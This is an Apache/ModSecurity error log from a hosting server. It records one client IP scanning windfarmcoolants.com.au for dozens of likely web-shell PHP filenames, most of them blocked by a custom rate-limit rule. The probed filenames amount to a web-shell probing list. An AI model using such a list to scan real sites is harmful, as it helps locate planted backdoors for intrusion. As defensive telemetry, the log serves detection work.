[Sat Mar 28 07:55:13.672150 2026] [:error] [pid 43578:tid 43583] [client 20.220.9.32:27620] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "accY4XNG2YdGm41aN8LjxQAAAkI"]
[Sat Mar 28 07:55:16.323157 2026] [:error] [pid 64861:tid 64951] [client 20.220.9.32:27516] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "accY5OxK22_lUN2kvnVu4AAAAJA"]
[Sat Mar 28 07:55:17.737038 2026] [:error] [pid 34597:tid 34621] [client 20.220.9.32:27468] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "accY5YluI7-e5s1cafcmPQAAAVQ"]
[Sat Mar 28 07:55:19.162443 2026] [:error] [pid 64860:tid 64932] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Sat Mar 28 07:55:19.375424 2026] [:error] [pid 64860:tid 64928] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/amp.php
[Sat Mar 28 07:55:19.586852 2026] [:error] [pid 64860:tid 64924] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/ww.php
[Sat Mar 28 07:55:19.795493 2026] [:error] [pid 64860:tid 64922] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Sat Mar 28 07:55:20.008962 2026] [:error] [pid 64860:tid 64927] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/rzki.php
[Sat Mar 28 07:55:20.239095 2026] [:error] [pid 64860:tid 64929] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-footer.php
[Sat Mar 28 07:55:20.463371 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/666.php
[Sat Mar 28 07:55:20.678428 2026] [:error] [pid 64860:tid 64915] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/varb.php
[Sat Mar 28 07:55:20.887748 2026] [:error] [pid 64860:tid 64914] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Sat Mar 28 07:55:21.100950 2026] [:error] [pid 64860:tid 64909] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Mar 28 07:55:21.311609 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27490] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Mar 28 07:55:21.517211 2026] [:error] [pid 64860:tid 64912] [client 20.220.9.32:27490] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "accY6RkU3N0pg_4aEL_lnAAAAEQ"]
[Sat Mar 28 07:55:23.392309 2026] [:error] [pid 34631:tid 34673] [client 20.220.9.32:27577] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "accY6ztzjMMS6kojpeQ3nAAAAc0"]
[Sat Mar 28 07:55:24.808417 2026] [:error] [pid 34631:tid 34683] [client 20.220.9.32:27338] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "accY7DtzjMMS6kojpeQ3pQAAAdc"]
[Sat Mar 28 07:55:26.276346 2026] [:error] [pid 34597:tid 34607] [client 20.220.9.32:27618] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "accY7oluI7-e5s1cafcmRQAAAUY"]
[Sat Mar 28 07:55:27.696426 2026] [:error] [pid 43578:tid 43602] [client 20.220.9.32:27447] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws60.php"] [unique_id "accY73NG2YdGm41aN8LjzQAAAlU"]
[Sat Mar 28 07:55:29.121394 2026] [:error] [pid 64860:tid 64932] [client 20.220.9.32:27578] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws60.php"] [unique_id "accY8RkU3N0pg_4aEL_lvgAAAFg"]
[Sat Mar 28 07:55:31.199217 2026] [:error] [pid 64861:tid 64954] [client 20.220.9.32:27428] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws60.php"] [unique_id "accY8-xK22_lUN2kvnVu-gAAAJM"]
[Sat Mar 28 07:55:32.637821 2026] [:error] [pid 64860:tid 64922] [client 20.220.9.32:27647] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws60.php"] [unique_id "accY9BkU3N0pg_4aEL_l0AAAAE4"]
[Sat Mar 28 07:55:34.075871 2026] [:error] [pid 64860:tid 64915] [client 20.220.9.32:27397] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "accY9hkU3N0pg_4aEL_l2QAAAEc"]
[Sat Mar 28 07:55:35.512488 2026] [:error] [pid 34631:tid 34684] [client 20.220.9.32:27472] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "accY9ztzjMMS6kojpeQ3zQAAAdg"]
[Sat Mar 28 07:55:38.500262 2026] [:error] [pid 43578:tid 43590] [client 20.220.9.32:27331] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "accY-nNG2YdGm41aN8Lj0QAAAkk"]
[Sat Mar 28 07:55:39.923441 2026] [:error] [pid 43578:tid 43599] [client 20.220.9.32:27512] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "accY-3NG2YdGm41aN8Lj0gAAAlI"]
[Sat Mar 28 07:55:42.451303 2026] [:error] [pid 34597:tid 34606] [client 20.220.9.32:27401] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "accY_oluI7-e5s1cafcmUAAAAUU"]
[Sat Mar 28 07:55:43.874220 2026] [:error] [pid 64859:tid 64902] [client 20.220.9.32:27553] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "accY_23qEBHXq3rHdBmwBgAAABU"]
[Sat Mar 28 07:55:45.309692 2026] [:error] [pid 43547:tid 43560] [client 20.220.9.32:27421] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "accZAT4ZEfdetXP-9aC1RwAAAgs"]
[Sat Mar 28 07:55:46.747532 2026] [:error] [pid 43547:tid 43567] [client 20.220.9.32:27604] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "accZAj4ZEfdetXP-9aC1TQAAAhI"]
[Sat Mar 28 07:55:48.182588 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27357] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "accZBBkU3N0pg_4aEL_l4QAAAFc"]
[Sat Mar 28 07:55:49.633529 2026] [:error] [pid 34597:tid 34612] [client 20.220.9.32:27484] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "accZBYluI7-e5s1cafcmVwAAAUs"]
[Sat Mar 28 07:55:51.061506 2026] [:error] [pid 64861:tid 64957] [client 20.220.9.32:27498] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "accZB-xK22_lUN2kvnVvEAAAAJY"]
[Sat Mar 28 07:55:52.576555 2026] [:error] [pid 43579:tid 43613] [client 20.220.9.32:27496] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "accZCCRqN4JVI8gB7AmWXAAAAoU"]
[Sat Mar 28 07:55:54.006231 2026] [:error] [pid 64860:tid 64908] [client 20.220.9.32:27410] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "accZChkU3N0pg_4aEL_l8gAAAEA"]
[Sat Mar 28 07:55:55.426929 2026] [:error] [pid 64860:tid 64919] [client 20.220.9.32:27419] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "accZCxkU3N0pg_4aEL_l-AAAAEs"]
[Sat Mar 28 07:55:58.071654 2026] [:error] [pid 64860:tid 64913] [client 20.220.9.32:27501] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "accZDhkU3N0pg_4aEL_mBAAAAEU"]
[Sat Mar 28 07:55:59.500857 2026] [:error] [pid 64860:tid 64910] [client 20.220.9.32:27409] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "accZDxkU3N0pg_4aEL_mCQAAAEI"]
[Sat Mar 28 07:56:00.938560 2026] [:error] [pid 34597:tid 34606] [client 20.220.9.32:27361] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "accZEIluI7-e5s1cafcmZAAAAUU"]
[Sat Mar 28 07:56:02.361909 2026] [:error] [pid 2877:tid 2895] [client 20.220.9.32:27477] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "accZErgM4xL1Xj409YTfAAAAARA"]
[Sat Mar 28 07:56:03.780712 2026] [:error] [pid 2877:tid 2885] [client 20.220.9.32:27540] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "accZE7gM4xL1Xj409YTfBAAAAQY"]
[Sat Mar 28 07:56:05.195994 2026] [:error] [pid 64860:tid 64914] [client 20.220.9.32:27422] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "accZFRkU3N0pg_4aEL_mIAAAAEY"]
[Sat Mar 28 07:56:06.667042 2026] [:error] [pid 43547:tid 43562] [client 20.220.9.32:27348] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "accZFj4ZEfdetXP-9aC1VAAAAg0"]
[Sat Mar 28 07:56:08.093186 2026] [:error] [pid 34631:tid 34669] [client 20.220.9.32:27627] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "accZGDtzjMMS6kojpeQ3_AAAAck"]
[Sat Mar 28 07:56:09.521637 2026] [:error] [pid 43579:tid 43627] [client 20.220.9.32:27474] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "accZGSRqN4JVI8gB7AmWZQAAApM"]
[Sat Mar 28 07:56:10.940088 2026] [:error] [pid 34631:tid 34679] [client 20.220.9.32:27424] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "accZGjtzjMMS6kojpeQ4AAAAAdM"]
[Sat Mar 28 07:56:12.375609 2026] [:error] [pid 64860:tid 64918] [client 20.220.9.32:27488] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "accZHBkU3N0pg_4aEL_mMQAAAEo"]
[Sat Mar 28 07:56:13.808562 2026] [:error] [pid 2877:tid 2893] [client 20.220.9.32:27530] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "accZHbgM4xL1Xj409YTfBgAAAQ4"]
[Sat Mar 28 07:56:15.267829 2026] [:error] [pid 34597:tid 34614] [client 20.220.9.32:27441] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "accZH4luI7-e5s1cafcmlwAAAU0"]
[Sat Mar 28 07:56:16.690309 2026] [:error] [pid 64860:tid 64932] [client 20.220.9.32:27420] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "accZIBkU3N0pg_4aEL_mOwAAAFg"]
[Sat Mar 28 07:56:18.108171 2026] [:error] [pid 2877:tid 2902] [client 20.220.9.32:27471] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "accZIrgM4xL1Xj409YTfCAAAARc"]
[Sat Mar 28 07:56:19.536232 2026] [:error] [pid 43578:tid 43585] [client 20.220.9.32:27430] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/155.php"] [unique_id "accZI3NG2YdGm41aN8Lj6AAAAkQ"]
[Sat Mar 28 07:56:21.005946 2026] [:error] [pid 43579:tid 43623] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/155.php
[Sat Mar 28 07:56:21.223272 2026] [:error] [pid 43579:tid 43616] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/hots.php
[Sat Mar 28 07:56:21.457549 2026] [:error] [pid 43579:tid 43615] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat Mar 28 07:56:21.678158 2026] [:error] [pid 43579:tid 43612] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Mar 28 07:56:22.123306 2026] [:error] [pid 43579:tid 43621] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/ah25.php
[Sat Mar 28 07:56:22.335287 2026] [:error] [pid 43579:tid 43609] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/bnm.php
[Sat Mar 28 07:56:22.547277 2026] [:error] [pid 43579:tid 43628] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Sat Mar 28 07:56:22.760731 2026] [:error] [pid 43579:tid 43617] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sat Mar 28 07:56:22.972291 2026] [:error] [pid 43579:tid 43624] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Sat Mar 28 07:56:23.182853 2026] [:error] [pid 43579:tid 43627] [client 20.220.9.32:27402] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Sat Mar 28 07:56:23.396835 2026] [:error] [pid 43579:tid 43630] [client 20.220.9.32:27402] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "accZJyRqN4JVI8gB7AmWgQAAApY"]
[Sat Mar 28 07:56:24.849186 2026] [:error] [pid 34597:tid 34617] [client 20.220.9.32:27586] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "accZKIluI7-e5s1cafcmoQAAAVA"]
[Sat Mar 28 07:56:26.265737 2026] [:error] [pid 34597:tid 34625] [client 20.220.9.32:27592] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "accZKoluI7-e5s1cafcmqAAAAVg"]
[Sat Mar 28 07:56:27.685646 2026] [:error] [pid 43579:tid 43626] [client 20.220.9.32:27634] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "accZKyRqN4JVI8gB7AmWhAAAApI"]
[Sat Mar 28 07:56:29.120283 2026] [:error] [pid 2877:tid 2883] [client 20.220.9.32:27460] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "accZLbgM4xL1Xj409YTfCQAAAQQ"]
[Sat Mar 28 07:56:31.735120 2026] [:error] [pid 34631:tid 34672] [client 20.220.9.32:27533] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "accZLztzjMMS6kojpeQ4IQAAAcw"]
[Sat Mar 28 07:56:33.157727 2026] [:error] [pid 34597:tid 34615] [client 20.220.9.32:27407] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "accZMYluI7-e5s1cafcmrgAAAU4"]
[Sat Mar 28 07:56:34.574783 2026] [:error] [pid 34631:tid 34665] [client 20.220.9.32:27395] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "accZMjtzjMMS6kojpeQ4JgAAAcU"]
